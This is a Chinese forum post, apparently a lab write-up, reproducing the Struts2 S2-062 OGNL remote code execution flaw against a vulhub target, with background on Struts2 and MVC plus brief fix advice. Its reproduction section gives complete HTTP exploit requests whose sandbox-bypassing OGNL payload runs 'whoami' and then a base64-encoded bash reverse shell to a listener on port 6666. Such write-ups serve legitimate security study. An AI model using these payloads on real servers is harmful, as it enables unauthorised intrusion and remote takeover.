struts2 s2-062 ONGL远程代码执行

打印 上一主题 下一主题

主题 913|帖子 913|积分 2739

struts2 s2-062 ONGL远程代码执行

一、Struts2介绍

struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。
Java中SSH框架
SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。
Java中SSM框架
SSM框架即指SpringMVC+Spring+MyBatis的简称,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加轻量化和灵活,是目前业界主流的Java Web开发框架。
MVC介绍(Model-View-Controller)
经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。
不使用MVC组件:
1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL
使用MVC组件:
分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率
二、s2-062漏洞概况

该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %{…} 语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执行。
三、漏洞复现

1、打开vulhub中Struts2的靶场
2、bp发送payload
  1. POST /index.action HTTP/1.1
  2. Host: 192.168.142.133:8080
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
  11. Content-Length: 1101
  12. ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
  13. Content-Disposition: form-data; name="id"
  14. %{
  15. (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  16. (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
  17. (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  18. (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
  19. (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  20. (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
  21. (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
  22. (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
  23. (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
  24. }
  25. ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
复制代码
3、建立反弹连接payload
payload需要经过base64编码
编码前:
bash -i >& /dev/tcp/192.168.142.133/6666 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
  1. POST /index.action HTTP/1.1
  2. Host: 192.168.142.133:8080
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
  11. Content-Length: 1192
  12. ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
  13. Content-Disposition: form-data; name="id"
  14. %{
  15. (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  16. (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
  17. (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  18. (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
  19. (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
  20. (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
  21. (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
  22. (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
  23. (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'}))
  24. }
  25. ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
复制代码
四、漏洞原理

项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证就可能导致远程代码执行。
个人理解:
struts2项目中使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析,使用BeanMap类绕过了Struts2的黑名单(沙盒机制),并实例化了可执行任意代码的类,导致可以执行任意代码。
OGNL表达式:
全称Object-Graph Navigation Language(对象图导航语言),一种开源的Java表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能。
OGNL和Struts:
1、OGNL是Struts默认支持的表达式语言。
2、OGNL可以取值赋值、访问类的静态方法和属性。
3、访问OGNL上下文。Struts的上下文根对象:ValueStack。
4、%{}用来把字符串转换成表达式。
5、可以在struts.xml和struts标签等地方使用表达式。
五、漏洞修复方法

1、升级Struts2的版本
2、升级Struts2的相关组件
3、使用安全产品

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

郭卫东

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表